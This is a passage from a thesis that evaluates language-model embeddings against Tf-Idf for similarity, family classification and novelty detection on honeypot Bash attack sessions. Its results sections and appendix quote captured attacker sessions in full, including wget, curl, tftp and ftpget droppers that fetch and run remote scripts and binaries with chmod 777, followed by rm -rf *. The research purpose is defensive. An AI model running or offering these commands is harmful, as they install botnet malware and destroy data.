contribute to broader knowledge in the field, offering evaluation ideas for future
research and development.

4.1 Similarity approach
The first evaluation method is the Similarity approach. The basic idea is to provide
an anchor session and a semantic similar to it, even if in our datasets is quite
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difficult to find (in our case usually similar sessions are also similar syntactically).
After that, the cosine distance between the anchor and the similar one is evaluated,
as well as the distance between the anchor and the other 8 negative sessions. If the
similar one achieves the best similarity value then the valuation is correct.

The dataset utilized for this approach is the Cyberlab one described in 3.1.1.
Now let’s analyze how we have found the anchor session and their most semantic
similar one. To resolve this problem 2 methods have been tried with the help of
LogPrécis fingerprints described in section 2.2.5.

Algorithm 1 Similarity approach: second method
Input: df_cyberlab
Output: Dataset to analyze with webapp. Figure 4.1.

1: Order df_cyberlab into temporal order.
2: Distinct on fingerprint, if duplicate, take first.
3: for each row in df_cyberlab_fingerprint do
4: Evaluate the edit distance on the previous row
5: Save the row of the most similar one as the origin
6: end for
7: Save the results

• First method: this method uses the fingerprint property, in which all sessions
belonging to the same fingerprint also have the same number of bash commands.
In this way, for each fingerprint, we report all the associated sessions sorted
according to the similarity concerning the fingerprint barycenter. We define as
barycenter the artificial sessions having as bash commands the most frequent
command in that position for that fingerprint. For each session, we define
then a distance concerning the fingerprint’s barycenter. When exporting the
output file, sessions having the highest distance will be placed first and will
be visualized in a web app application to simplify the process of labeling it.
Indeed, the web app application permits us to label if the session analyzed is
semantic similar but different in syntax in respect to the barycenter.
However, the problem with this approach is that the majority of the sessions
that have the same fingerprint are usually part of the same types of sessions
without supplying any good semantic comparison.

• Second method: The second method focuses more on comparing new
fingerprint sessions to old data instead of blindly searching within the same
fingerprint as the previous method. As represented by algorithm 1 we now focus
on unique fingerprints, obtaining a total of 1603. For every new fingerprint, we
check with edit distance the most similar fingerprint on the past, saving it. It
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will then be represented in the web app like in image 4.1. In the specific case
of the image, a positive label will be given because the sessions are different
syntactically but execute similar actions with the same objective overall.
A problem that could arise with this method is the possibility that the last
temporal fingerprints will be ones generated from the problem described in
section 2.2.5. To check this possibility a graph of the distances during time is
plotted in figure 4.2 where it is possible to see that also in the final acquisition
moment, fingerprints with a high nearest distance within the past are present.

Figure 4.1: WebApp application for similarity comparison. For each comparison,
both sessions and their LogPrécis fingerprint are represented for correct similarity
analysis.

Figure 4.2: Edit distance fingerprint
over time.

Figure 4.3: Cumulative distribution
function of nearest fingerprint distance.

27



Evaluation Techniques

Given the poor comparison proposed by the first method, I opted to exploit
only the second one. With the help of the web app interface, I generated a dataset
of about 260 positive labeled session. For each positive pair, I have then added 8
negative sessions with the constraint that no fingerprint duplicates can be present(to
avoid having very similar 8 negative sessions).

4.1.1 Similarity results
After the dataset has been generated the cosine similarity between the origin
session embeddings and the others composing the row is done. If the highest
similarity value is obtained between the origin and the positive one the result
is correct. The operation has been repeated for all the 260 rows composing the
dataset and the results are averaged for better visualization. Table 4.1 shows the
comparison between the model trained following the SimCSE approach, CodeBert
DA SimCSE(bash), and a baseline represented by Tfidf.

Row: All Positive Pair Negative Pair
CodeBert SimCSE (bash) 89.76 % 33.17 %
Tfidf 83.85 % 16.91 %

Table 4.1: Averaged similarity results in respect to the origin session. (Similarity
approach)

The model has acquired specific patterns and some understanding of session
semantics, resulting in a performance improvement of 6% compared to the Tf-Idf
method. Moreover, I added a custom origin-positive pair to the dataset which
reports a semantic similar session pair. Specifically, the session is:

• Origin:

enable ; system ; shell ; sh ; cat /etc/fstab ; /bin/busybox
ABCDE ; cd /tmp ; cat .hidden || cp /bin/ls .hidden ;
/bin/busybox ABCDE ; ftp ; curl ; /bin/busybox ABCDE ;
head -c 52 .hidden || cat .hidden || while read line ;
do echo \$line ; done < .hidden ; /bin/busybox ABCDE ;
rm .hidden ; exit ;

• Positive:

sudo -s ; uname -a ; bash ; ls -l /etc/fstab ; /bin/busybox
XYZ123 ; cd /var/tmp ; cat .secret || cp /usr/bin/grep
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.secret ; /bin/busybox XYZ123 ; wget ; lynx ; /bin/busybox
XYZ123 ; head -n 10 .secret || cat .secret || while IFS= read
-r line ; do echo "\$line" ; done < .secret ; /bin/busybox XYZ123 ;
shred -u .secret ; logout

The results of the manually added session are reported in table 4.2, where is
it possible to see that with two sessions that propose the same result, but done
with completely different commands, the syntactical method proposed achieves
a similarity value of only 50%. My model instead can recognize the final similar
objective of the two sessions, proposing a similarity of around 84%. However, it
has to be specific that the positive pair of the session has a problem. Specifically,
that session cannot be executed on the same platform as the Origin one, because it
exploits particular commands, and so, in reality, they cannot be compared.

Row: 263 Positive Pair Negative Pair
CodeBert DA SimCSE(bash) 83.6 41.36
Tfidf 50 14.04

Table 4.2: Averaged results of the special row.

4.2 NL2Bash Approach
As the name says this method is based on the dataset NL2Bash described in section
3.1.2. The basic idea behind this approach is to exploit the dual entry, bash session,
and their natural language description, to regroup some sessions under specific
labels. After the labels are assigned then a classification algorithm performance
could be tested. This dataset contains around 12000 rows, and since a lot of the
sessions will also be manually analyzed to check the correct label assignment, only
the first 2000 rows are taken into account for the analysis.

The first thing noted in the natural language description is that a recursive
pattern appears. Specifically, I noted that during the session description, in the
majority of cases, the first word of the sentence summarizes the general purpose
of the session. To exploit this possibility, I have applied a tfidf algorithm with a
specific vocabulary containing the first word of the sentences. After that, I applied
the UMAP algorithm, which is a fast dimensionality-reduction algorithm with a
good preservation of the data’s global structure, especially when reducing from
high dimensionality. Now it is possible to apply clustering algorithms to obtain
a starting label classification. The clustering algorithm applied is Density-Based
Spatial Clustering of Applications with Noise (dbscan), which has been applied to
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the reduced dimensionality sessions to avoid the curse of dimensionality problem.
The optimal parameters of dbscan, ϵ and min_samples, are obtained through a
grid search method. The results are reported in the appendix figure 6.1, from which
the start of the possible labeled session is taken into account.

Other labels are instead created from the bash session commands. An example is
the Permission label, which has been created researching all the sessions containing
a chmod or a chown command. After these steps, I did manual research to add
more sessions under the different labels or remove incorrect ones, which contain
operations that can classify them under more than one label.

In the end, as far as possible, I tried to label the session in such a way that a
session that does, for example, a convert operation cannot do a permission one and
vice-versa. This can be said for all labels.

After that, the labels created are:

• Execute: contain execution of command/script, one time or in a recursive way.
Furthermore, comprehend also the execution of remote commands (through
ssh). (122 elements)

• Convert: contains sessions that convert the extensions of files or modify
strings within files. (41 elements)

• Permission: change the type of execution permission on files, i.e. from
read-only to execution permission, or change the type of ownership. (157
elements)

• Compress: contain operations that compress or decompress files. (95 ele-
ments)

The final number of labeled session count 415, where some session examples could
be seen in the first part of image 4.4. Moreover, for a more complex classification,
some of the groups are divided into sub-labels, creating a total of 8 labels, as shown
in the image result 4.6b.

4.2.1 Models pipeline
Now that we have our 415 session labeled dataset it is possible to explain the
evaluation method.

As shown in figure 4.4, everything starts with the embedding generation by the
models taken into account, which in our case are six.

• Tfidf : first of all our baseline, the sessions are analyzed with tfidf, a method
which is only able to exploit syntax similarity.
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• RoBERTa: a model used out of the shelf, which has never seen bash data,
trained on English natural language.

• CodeBERT: out of the shelf CodeBERT, useful to compare its results with
the trained one.

• RoBERTa SimCSE: unsupervised RoBERTa SimCSE, trained on natural
language. Useful to see if bash datasets, which good quality one are difficult
to obtain, are really needed to increase classification performance.

• CodeBERT DA SimCSE: CodeBERT trained with Masked Language Model
(MLM), over bash data and then trained with the SimCSE-like approach.

• LogPrécis SimCSE: which is a CodeBERT domain adapted model with
a supervised fine-tuning on LogPrecis 2.2.5 classification task, and then re-
trained with the SimCSE-like approach on Bash data.

Figure 4.4: Evaluation pipeline for obtaining NL2Bash approach results.

After the embeddings for each of the 415 sessions are created the next step is
the nearest neighbor evaluation.

As reported in algorithm 2, the performance is evaluated as a mean of all the
points within a cluster. For every point in the cluster, the nearest neighbor is
found thanks to the cosine similarity metric, which is evaluated from the point
taken into account to the totality of the dataset points. Next, if the nearest session
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Algorithm 2 NL2Bash approach: performance evaluation
Input: df_commands
Output: f-score metric

1: for each label in df_commands do
2: Obtain the label dataset: df_label
3: for each index in df_label do
4: session_labeled = df_label[index]
5: for each row in df_commands do
6: Evaluate the cosine similarity between session_labeled and row
7: Save the label of the most N nearest session found
8: end for
9: end for

10: end for
11: Evaluate the F-score
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has the same label as the "barycenter" used, then the prediction has been done
correctly. This process is repeated for every point within a label and for every label
in the dataset. The performance is then mediated based on the point present in
the cluster.

4.2.2 NL2Bash results
Before describing the results it is correct to understand that the dataset created
is not balanced. Analyzing figure 4.5 it is possible to see the point distribution
on a 2-D graph and the legend also reports the number of points for each label.
Specifically in case 4.5b is possible to see that the labels are a lot unbalanced, which
means that achieving high performance on low-number clusters is more difficult.
Moreover from these images, it is possible to see the overall distribution of the
embedding of CodeBERT DA with SimCSE Bash training, mirroring a good label
division.

We have to remember that the CodeBERT embeddings are in 768-dimensional
space, and by reducing it to a 2-D graph with the UMAP algorithm a lot of
information is lost. This means that the overall representation of the image is
correct, but, likely, the representation of some points is not very precise.

(a) Simple classification: 4 labels. (b) Complex classification: 8 labels.

Figure 4.5: Distribution of the 415 session representative of the family reconstruc-
tion task.

Image 4.6 represents the results of this approach. The image shows the F1-Score
metric evaluated considering the first nearest neighbor session. Is it possible to
see that standard models, like RoBERTa and CodeBERT, are the ones obtaining
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(a) Simple classification: 4 labels.

(b) Complex classification: 8 labels.

Figure 4.6: Histogram representing the F1-score(average performance) in the
family reconstruction task.
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the worst performance. This probably happens because these models have never
seen bash data and are not trained for this specific task. Secondly, we have Tfidf
which is able to obtain syntactical information, bringing together the session with
specific commands, like the chmod one for the permission label. With the same
performance as tfidf, there is SimCSE, which even if it has never seen Bash data
like RoBERTa, is able to achieve 4% points higher thanks to the contrastive loss
training. Last, there are the two models trained with the contrastive loss method
over bash data. Thanks to that, they are the ones achieving the best performance.
In particular, we notice that the model starting from LogPrécis does not achieve
a higher score, telling us that supervised training on a similar task does not help
in our problem of similarity comparison. The next tasks will then only consider
CodeBERT DA SimCSE over Bash data.

4.3 Novelty Detection Approach
The third method proposed tries to recreate the Novelty detection problem. For
this task the Cyberlab collection described in section 3.1.1 has been used. Before
starting I did a deep analysis of the dataset with the help of LogPrécis fingerprints
2.2.5. Image 4.7b represents the number of new unique fingerprints during the
acquisition. The total number is 1603, so the sum of the unique one represented
in the graph is equal to this number. In image 4.7a instead, is possible to see
the number of sessions received for each day. As described in section 2.2.5, each
new unique fingerprint does not represent a novelty but, the more of it, the higher
the probability of a possible novelty. In these images, it is also possible to see
the starter ground truth (GT) from which the model will be based to choose the
possible novelty that will be received next. Specifically, the GT is composed of
29908 sessions, spacing from 2019-06-04 to 2019-10-14, while the novelty analyzed
will be the next 1000 session (about a day of acquisition).

Since the analysis between the ground truth and the novelty sessions is done by
evaluating the cosine similarity, a method to decide when a session is novel or not
must be decided. The easy one is to set a threshold. When the similarity between
the new row and the GT is too low, a novelty has been found. To decide it, I have
done a similarity analysis over the GT which is represented in images 4.8. The
graphs are generated obtaining the higher similarity value for each GT session with
respect to the GT itself. This means that looking at figure 4.8a only 5% of the
sessions in the GT have less than 0.7 of similarity.

Another thing that can be deduced from these images is the distribution over
the space of the session embeddings. Indeed, the CodeBERT embeddings are more
distributed, occupying a bigger space with respect to the compact one represented
by SimCSE (where 98% of sessions have a similarity value of more than 0.98). This
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(a) Number of session received each day. (b) Number of new unique fingerprint re-
ceived each day.

Figure 4.7: Session and LogPrécis fingerprint analysis done on Cyberlab dataset.

is indeed a result of the contrastive loss training.

(a) CodeBert GT similarity distribution. (b) SimCSE GT similarity distribution.

Figure 4.8: Distribution of nearest point similarity over the Cyberlab Ground
Truth selected.

Novelty search

The first problem was that after a cross-search done with both the models and the
edit distance baseline, no novelties were present in the 1000 sessions selected. Then
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I have done a deep analysis in all the future sessions, for a total of 202127, to find
the most possible novelties with respect to the GT. To find it I searched for all the
future sessions that have their edit distance major of 50% of difference, from their
most similar GT one. The sessions obtained are a total of 148, but some of them
repeat themselves or are incorrect, so a manual selection must be done. Indeed,
comparing them to the more similar GT one, I have selected the "most novelty"
ones. After all the processes, 45 novelties are obtained, which are added to the first
1000 not novelty ones, for a total of 1045. The objective of the models will be to
find 45 true novelties without any false positives.

4.3.1 Novelty Detection results
Given the data obtained after the deep analysis described in the previous section
one last thing must be done. Since this is a threshold-based method, I plotted the
Receiver operating characteristic (ROC) curves to obtain the best one. The curves
are represented in figures 4.9. After obtaining the best threshold from the ROC
curves, the results are computed and represented in table 4.3. As it is possible to
see the best results are obtained with tfidf and SimCSE, which can obtain only
a syntactical representation of the sessions. This happens because, as described
in section 4.3, the method used as a support to find the 45 novelty is the edit
distance, which is too a mere syntactical method. In this way, it is possible to say
that the results align with what was expected. The problem here is: how can we
be sure that the novelties found by CodeBERT DA SimCSE(Bash) are correct or
not? To answer this question the next section will analyze the union of the possible
novelties found by different models in the cyberlab dataset.

Threshold Bad Nov True Nov F1-Score
CodeBert DA SimCSE(bash) Tr = 0.8 116 42: 93% 42%
RoBERTa SimCSE Tr = 0.972 1 44: 99% 98%
Tfidf:100 Tr = 0.996 1 45: 100% 99%

Table 4.3: Novelty detection results.

4.3.2 Novelty Detection final analysis
To analyze the novelties union of the models, based on the GT selected in the
section before, the 100 "more" novelties are selected for each model from the 202127
future sessions. Since the correct number of novelties cannot be known for sure,
a number has been selected to compare the different approaches. The number
selected is 100 to have the possibility to manually check the different novelty found
and have a deeper inspection of the model’s behavior.
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The intersection of the different novelties found is reported in figure 4.10.
The worst-case scenario is that each model will find 100 unique novelties, but as

can be seen from the image this is not happening. The results show 289 unique
elements, 2 of which are shared with all 4 models, while the union of 3 models
contains 24 elements. The first thing that can be seen is that Tfidf, since it has a
restricted vocabulary of the 100 most used GT words, is the one with the most
unique session, 71. However, from this intersection, it became difficult to have a
clear understanding of the validity of the novelty found by each model.

Starting from the SimCSE model the first problem that arises is that almost
the entire 100 rows considered novelty are very short sessions that are doing mostly
discovery actions. This happens because SimCSE has never seen Bash data and it
is not able to discern harmless commands labeling them as novelties.

To do a deep analysis, I have checked manually the results, comparing the
novelty found, the most similar session on the GT for the model, and the most
similar one in the GT for the edit distance.

Secondly, we check our CodeBERT Bash-trained model finding also here some
major problems as reported in the next sessions:
1 Model Novelty: wget http://185.172.110.238/swrgiuhguhwrguiwetu/x86
; chmod 777 x86 ; ./x86 Servers ;
2 Model GT: scp -t /tmp/06i9wRXJ ;
3 Edit distance GT: wget http://37.49.230.216/miori.x86 ; chmod 777
miori.x86 ; ./miori.x86 ; rm -rf * ;
In order are reported the novelty of the model, the nearest GT session for the
model and the nearest GT session for edit distance. As it is possible to see in
this case, the model is making a mistake, probably caused by the high quantity of
variable/random characters(underlined before) present in this session. Indeed in
the three sessions, more than 70-80% of the characters are composed of possible
variable one, placing the "novelty" in the noisy space of the embeddings creating
an error. Indeed, given the difficult representation of Bash code, which naturally is
composed of a lot of "random" parts like IPs, directories and echo prints, maybe
a contrastive learning approach is not the most suitable solution for its analysis.
Moreover, the lack of labeled datasets forced me to follow the self-supervised
approach which requires a large quantity of data. To create big datasets, some
sessions naturally repeat itself1, creating a not ideal condition for training the model.

More error examples are reported in the appendix 6.2.

1I.E. same session with different wget IPs or password
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(a) CodeBert DA Bash model.

(b) RoBERTa SimCSE model.

(c) Tfidf model.

Figure 4.9: Receiver operating characteristic (ROC) for novelty detection thresh-
old.
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Figure 4.10: Intersection of the 100 "more" novelties for each model.
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Chapter 5

Conclusion

5.1 Overview
In conclusion, this thesis has provided valuable insights into the application of
large language models (LLMs) for detecting novel Bash attack sessions. By com-
paring deterministic approaches such as Tf-Idf with more sophisticated models like
contrastive loss-trained LLMs, the study demonstrated the possible advantages of
semantic understanding in handling command-line interface (CLI) session data.
However, the study also demonstrated the clear problems of training LLMs and the
need for high-quality data. Although deterministic methods like Tf-Idf achieved
reasonable performance in session similarity and anomaly detection tasks, LLM-
based models could provide slight improvements in specific tasks like the family
recognition one.

While complex models such as our CodeBERT DA SimCSE (Bash) excelled in
tasks with smaller datasets, scalability remained a challenge when dealing with
larger volumes of data. In the end, the thesis suggests that this method cannot
be applied for effective novelty detection in real-world scenarios. This happens
especially when faced with large datasets where noise or session obfuscation is
present.

5.2 Future Approaches
Being a little-explored research field there are surely other approaches possible
to be implemented. The research is also proceeding forward with the automation
of cyber-related tasks, with the creation of specific chat-bots for helping security
analysts or auto-updating models for malware detection. Future research should
then explore more robust methods to improve scalability and efficiency, particularly
in high-data environments. Another possible training approach could then lead to
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more relevant results. Different from the contrastive learning approach of SimCSE
the Denoiser training method could be implemented.

Figure 5.1: Denoiser base architecture

As it is possible to see from image 5.1 the denoiser training architecture is
composed of an encoder-decoder model. In this case, the objective is to create one
embedding X representative of the session in input with the addition of "noise".
The noise to the input session could be considered both the addition or removal
of some token, the dropout of the model, or other noise-adding techniques. After
that, if a decoder model can recreate the starting session from it, that means X
is truly representative of that specific session and the model has learned how to
reconstruct a true working session from a noisy one. To be able to do it the model
has to grasp the syntax construction method of the bash session plus some of its
semantics. Additionally, the creation of high-quality supervised datasets could
significantly reduce the complexity of the problem.
An alternative future approach could involve reducing the noise in the training
data by using a normalization method. This would replace noisy elements, such as
directories and IP addresses, with their corresponding generic labels; for instance,
"http://196.168.0.1" would become "link," and "tmp/06i9wRX" would be replaced
with "directory." While this would make the data much cleaner, it could also result
in the loss of potentially valuable information.

To conclude I have to point out the need for globally verified evaluation metrics
and testing methods, to have the possibility to compare results from different
techniques applied for the resolution of the novelty detection problem.
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Chapter 6

Appendix

6.1 NL2Bash
Here is reported the image 6.1 representing the cluster find by tfidf in the natural
language description first word of the NL2Bash dataset.

6.2 Novelty detection
Here are reported other errors of the CodeBERT DA bash model following the
order as in the main section, are reported the novelty of the model, the nearest GT
session for the model, and the nearest GT session for edit distance.
The first error is similar to the one already discussed, caused by the noisy part of
the session:

1: cd /tmp ; wget http://silvergate.ddnsgeek.com:8088/3Update.sh ; curl
-O http://silvergate.ddnsgeek.com:8088/3Update.sh ; chmod 777 3Update.sh
; sh 3Update.sh ; rm -rf * ;

2: scp -t /tmp/3s3Z3Ogf ;

3: cd /tmp || cd /var/run || cd /mnt || cd /root || cd / ; wget
http://37.49.230.137/bins.sh ; chmod 777 bins.sh ; sh bins.sh ; rm -rf
* ;

The second error is different from before. Here can be seen that the model
has assigned the most similar session to a correct row because 1 and 2 are quite
similar(only the start command and IPs changes). The problem here is that this
case must not be considered a novelty! Indeed, two sessions this similar must
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Figure 6.1: Clusters created using dbscan algorithm over first-word vocabulary
Tfidf.
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achieve a similarity value of about 80% or higher, while in this specific case, the
similarity achieved is only 44%, reason for which the model has considered it a
novelty.

1: sh ; shell ; help ; busybox ; cd /tmp || cd /run || cd / ;
wget http://142.11.199.28/bins.sh ; chmod 777 bins.sh ; sh bins.sh ; rm
-rf bins.sh ; tftp 142.11.199.28 -c get tftp1.sh ; chmod 777 tftp1.sh
; sh tftp1.sh ; tftp -r tftp2.sh -g 142.11.199.28 ; chmod 777 tftp2.sh
; sh tftp2.sh ; ftpget -v -u anonymous -p anonymous -P 21 142.11.199.28
ftp1.sh ftp1.sh ; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh ; rm -rf * ;

2: ifconfig ; cd /tmp || cd /var/run || cd /mnt || cd /root || cd / ;
wget http://14 2.11.236.183/bins.sh ; chmod 777 bins.sh ; sh bins.sh
; tftp 142.11.236.183 -c get tftp1.sh ; chmod 777 tftp1.sh ; sh tftp1.sh
; tftp -r tftp2.sh -g 142.11.236.183 ; c hmod 777 tftp2.sh ; sh tftp2.sh
; ftpget -v -u anonymous -p anonymous -P 21 142.11 .236.183 ftp1.sh ftp1.sh
; sh ftp1.sh ; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh ; rm -rf * ;

3: sh ; shell ; help ; busybox ; cd /tmp || cd /run || cd / ;
wget http://142.11.214.46/bins.sh ; chmod 777 bins.sh ; sh bins.sh ; rm
-rf bins.sh ; tftp 142.11.214.46 -c get tftp1.sh ; chmod 777 tftp1.sh
; sh tftp1.sh ; tftp -r tftp2.sh -g 142.11.214.46 ; chmod 777 tftp2.sh
; sh tftp2.sh ; ftpget -v -u anonymous -p anonymous -P 21 142.11.214.46
ftp1.sh ftp1.sh ; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh ; rm -rf * ;
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